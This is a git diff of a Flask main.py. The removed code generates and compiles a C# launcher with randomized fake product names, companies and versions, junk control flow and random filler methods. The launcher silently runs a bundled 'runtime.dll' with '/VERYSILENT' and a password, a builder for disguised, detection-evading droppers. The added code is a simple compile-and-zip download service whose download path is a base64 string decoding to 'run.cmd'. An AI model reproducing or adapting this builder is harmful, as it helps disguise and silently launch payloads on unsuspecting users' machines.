Update main.py

main.py

@@ -1,179 +1,162 @@
+from flask import Flask, send_file, jsonify
 import os
-import random
-import string
 import subprocess
-from flask import Flask, render_template_string, send_file
+import json
+from datetime import datetime
+from pathlib import Path
+from threading import Thread
 
 app = Flask(__name__)
 
-# Step 1: Define the base C# template without AssemblyCulture
-base_cs_template = """
-using System;
-using System.Diagnostics;
-using System.IO;
-using System.Reflection;
+# Configuration
+UPLOAD_FOLDER = "uploads"
+COMPILE_FOLDER = "compile"
+STATS_FILE = "download_stats.json"
+os.makedirs(UPLOAD_FOLDER, exist_ok=True)
+os.makedirs(COMPILE_FOLDER, exist_ok=True)
+
+def load_stats():
+    if os.path.exists(STATS_FILE):
+        with open(STATS_FILE, 'r') as f:
+            return json.load(f)
+    return {"downloads": 0, "last_download": None}
 
-[assembly: AssemblyTitle("<<title>>")]
-[assembly: AssemblyDescription("<<description>>")]
-[assembly: AssemblyConfiguration("<<configuration>>")]
-[assembly: AssemblyCompany("<<company>>")]
-[assembly: AssemblyProduct("<<product>>")]
-[assembly: AssemblyCopyright("<<copyright>>")]
-[assembly: AssemblyTrademark("<<trademark>>")]
-[assembly: AssemblyVersion("<<version>>")]
-[assembly: AssemblyFileVersion("<<file_version>>")]
-[assembly: AssemblyInformationalVersion("<<informational_version>>")]
+def save_stats(stats):
+    with open(STATS_FILE, 'w') as f:
+        json.dump(stats, f)
 
+def compile_and_zip():
+    try:
+        # Generate unique names
+        timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
+        cs_filename = f"script_{timestamp}.cs"
+        exe_filename = f"script_{timestamp}.exe"
+        zip_filename = f"output_{timestamp}.zip"
+        
+        # Full paths
+        cs_path = os.path.join(COMPILE_FOLDER, cs_filename)
+        exe_path = os.path.join(COMPILE_FOLDER, exe_filename)
+        zip_path = os.path.join(UPLOAD_FOLDER, zip_filename)
+        
+        # Write C# source
+        with open(cs_path, 'w') as f:
+            f.write("""
+using System;
 class Program
 {
     static void Main()
     {
-        string originalFilePath = Path.Combine(Directory.GetCurrentDirectory(), "runtime.dll");
-
-        if (File.Exists(originalFilePath))
-        {
-            <<control_flow_junk>>
-            Process.Start(new ProcessStartInfo(originalFilePath, "/VERYSILENT /PASSWORD=YourSecurePassword") { UseShellExecute = false });
-            <<additional_obfuscated_code>>
-            Environment.Exit(0);  // Exit immediately
-        }
+        Console.WriteLine("Compiled C# Application");
+        Console.WriteLine("Generated at: {0}", DateTime.Now.ToString());
+        Console.WriteLine("Press any key to exit...");
+        Console.ReadKey();
     }
-
-    <<obfuscated_methods>>
 }
-"""
-
-# Utility functions to generate random text and versions
-def random_string(length):
-    return ''.join(random.choice(string.ascii_letters) for _ in range(length))
-
-def random_version():
-    major = random.randint(1, 5)
-    minor = random.randint(0, 9)
-    build = random.randint(0, 99)
-    revision = random.randint(0, 99)
-    return f"{major}.{minor}.{build}.{revision}"
-
-# Lists of meaningful words for assembly info
-titles = ['File Manager', 'Data Analyzer', 'Task Tracker', 'Cloud Backup', 'Image Editor', 'Video Converter']
-descriptions = ['This application helps in managing files efficiently.', 'Analyze data with advanced algorithms and insights.', 'Keep track of your tasks and deadlines easily.', 'Backup your data securely to the cloud.', 'Edit your images with powerful tools and filters.', 'Convert videos to various formats quickly.']
-companies = ['Tech Innovations', 'Global Solutions', 'Data Services', 'Creative Minds', 'Secure Systems', 'Future Technologies']
-trademarks = ['Innovative Solutions', 'Smart Technology', 'NextGen Apps', 'Empowering Users', 'Reliable Services', 'Creative Design']
-
-def generate_control_flow_junk():
-    conditions = [
-        "if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }",
-        "for (int i = 0; i < 1; i++) { Console.WriteLine(\"Loop once\"); }",
-        "if (false) { Console.WriteLine(\"This will never happen\"); }",
-        "while (false) { break; }"
-    ]
-    return random.choice(conditions)
-
-def generate_obfuscated_methods():
-    methods = [
-        f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}',
-        f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}',
-        f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}',
-        f'string {random_string(6)}() {{ return "{random_string(12)}"; }}'
-    ]
-    return "\n    ".join(random.sample(methods, k=2))
-
-def generate_additional_obfuscated_code():
-    snippets = [
-        "#pragma warning disable CS0219\nint unused = 123;\n#pragma warning restore CS0219",
-        "string dummy = \"abc\";",
-        "Console.WriteLine(\"Executing...\");"
-    ]
-    return random.choice(snippets)
+""")
+        
+        # Compile with mcs
+        compile_cmd = [
+            "mcs",
+            '-optimize+',
+            '-out:' + exe_path,
+            cs_path
+        ]
+        
+        compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
+        if compile_result.returncode != 0:
+            print(f"Compile error: {compile_result.stderr}")
+            return None
+        
+        # Create ZIP
+        zip_cmd = ['zip', '-j', zip_path, exe_path]
+        zip_result = subprocess.run(zip_cmd, capture_output=True, text=True)
+        if zip_result.returncode != 0:
+            print(f"ZIP error: {zip_result.stderr}")
+            return None
+        
+        # Cleanup temporary files
+        try:
+            os.remove(cs_path)
+            os.remove(exe_path)
+        except Exception as e:
+            print(f"Cleanup error: {e}")
+            
+        # Remove old ZIP files
+        for old_file in Path(UPLOAD_FOLDER).glob('*.zip'):
+            if old_file != Path(zip_path):
+                try:
+                    os.remove(old_file)
+                except:
+                    pass
+        
+        return zip_path
+        
+    except Exception as e:
+        print(f"Error: {str(e)}")
+        return None
+
+def get_current_zip():
+    """Get the current ZIP file or create one if none exists"""
+    files = list(Path(UPLOAD_FOLDER).glob('*.zip'))
+    if not files:
+        return compile_and_zip()
+    return str(max(files, key=os.path.getctime))
+
+def compile_in_background():
+    """Trigger compilation in a separate thread to avoid blocking the main app."""
+    Thread(target=compile_and_zip).start()
+
+@app.route('/download/cnVuLmNtZA==')
+def download_file():
+    stats = load_stats()
+    
+    # Get current ZIP file
+    file_path = get_current_zip()
+    if not file_path:
+        return "Compilation failed", 500
+        
+    if not os.path.exists(file_path):
+        return "File not found", 404
+    
+    # Send the file
+    response = send_file(file_path, as_attachment=True)
+
+    def after_request(response):
+        # Update the download stats after the file has been sent
+        stats['downloads'] += 1
+        stats['last_download'] = datetime.now().isoformat()
+        save_stats(stats)
+
+        # Compile the new ZIP file in the background
+        compile_in_background()
+
+        return response
+    
+    response = after_request(response)
+    return response
+
+@app.route('/show')
+def show_stats():
+    stats = load_stats()
+    return jsonify({
+        "total_downloads": stats['downloads'],
+        "last_download": stats['last_download']
+    })
 
-# Route to display the button and trigger C# script generation
 @app.route('/')
-def index():
-    # HTML embedded directly in the app using render_template_string
-    html_content = """
-    <!DOCTYPE html>
-    <html lang="en">
-    <head>
-        <meta charset="UTF-8">
-        <meta name="viewport" content="width=device-width, initial-scale=1.0">
-        <title>Script Generator</title>
-    </head>
-    <body>
-        <h1>Generate and Compile C# Script</h1>
-        <form action="/generate" method="post">
-            <button type="submit">Generate & Compile</button>
-        </form>
-    </body>
-    </html>
+def home():
+    return """
+    <h1>File Compiler Service</h1>
+    <ul>
+        <li><a href="/download/cnVuLmNtZA==">/download/cnVuLmNtZA==</a> - Download compiled file</li>
+        <li><a href="/show">/show</a> - View download statistics</li>
+    </ul>
     """
-    return render_template_string(html_content)
-
-
-# Other existing code remains unchanged...
-
-@app.route('/generate', methods=['POST'])
-def generate_script():
-    # Generate the randomized assembly information using meaningful words
-    assembly_info = {
-        'title': random.choice(titles),
-        'description': random.choice(descriptions),
-        'configuration': '',
-        'company': random.choice(companies),
-        'product': "MyProduct",
-        'copyright': f"Copyright © {random.choice(companies)} 2024",
-        'trademark': random.choice(trademarks),
-        'version': random_version(),
-        'file_version': random_version(),
-        'informational_version': random_version()
-    }
-
-    # Replace placeholders in the base template
-    modified_cs = base_cs_template.replace('<<title>>', assembly_info['title']) \
-                                  .replace('<<description>>', assembly_info['description']) \
-                                  .replace('<<configuration>>', assembly_info['configuration']) \
-                                  .replace('<<company>>', assembly_info['company']) \
-                                  .replace('<<product>>', assembly_info['product']) \
-                                  .replace('<<copyright>>', assembly_info['copyright']) \
-                                  .replace('<<trademark>>', assembly_info['trademark']) \
-                                  .replace('<<version>>', assembly_info['version']) \
-                                  .replace('<<file_version>>', assembly_info['file_version']) \
-                                  .replace('<<informational_version>>', assembly_info['informational_version']) \
-                                  .replace('<<control_flow_junk>>', generate_control_flow_junk()) \
-                                  .replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \
-                                  .replace('<<obfuscated_methods>>', generate_obfuscated_methods())
-
-    # Generate random file names for the script and executable
-    script_name = random_string(10) + '.cs'  # Random name for the C# script
-    exe_name = random_string(10) + '.exe'     # Random name for the executable
-
-    # Save the modified C# script to a file
-    with open(script_name, 'w') as file:
-        file.write(modified_cs)
-
-    # Use 'csc' compiler (Roslyn) with the right path
-    compile_command = [
-        '/usr/local/roslyn/Microsoft.Net.Compilers.4.0.1/tools/csc',  # Full path to Roslyn's csc
-        '-target:winexe', 
-        '-out:' + exe_name, 
-        script_name,
-        '-win32icon:app.ico', 
-        '-win32manifest:app.manifest'
-    ]
-
-    # Run the compilation command
-    try:
-        result = subprocess.run(compile_command, capture_output=True, text=True, check=True)
-    except subprocess.CalledProcessError as e:
-        error_message = e.stderr.strip()  # Capture the standard error output
-        return f"Compilation failed: {error_message}", 500
-    except FileNotFoundError:
-        return "Compiler 'csc' not found. Make sure it is installed and in the PATH.", 500
-
-    # Provide a link to download the compiled executable
-    return send_file(exe_name, as_attachment=True)
-
 
-# Start the Flask app
 if __name__ == '__main__':
+    # Only compile if no ZIP exists
+    if not list(Path(UPLOAD_FOLDER).glob('*.zip')):
+        print("No existing ZIP file found, creating initial file...")
+        compile_and_zip()
     app.run(host='0.0.0.0', port=7860, debug=True)